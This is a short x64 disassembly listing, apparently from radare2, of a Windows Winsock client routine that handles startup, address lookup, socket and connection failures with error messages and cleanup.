lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002440
lea rcx, str.WSAStartup_fail_n
call fcn.140001040
xor eax, eax
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.1400029a0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea rcx, str.get_num_fail..disconnet__n
jmp 0x1400025ba
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.socket_failed:__ld_n
jmp 0x140002609
lea rcx, str.getaddrinfo_failed:__d_n
mov edx, eax
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400025c1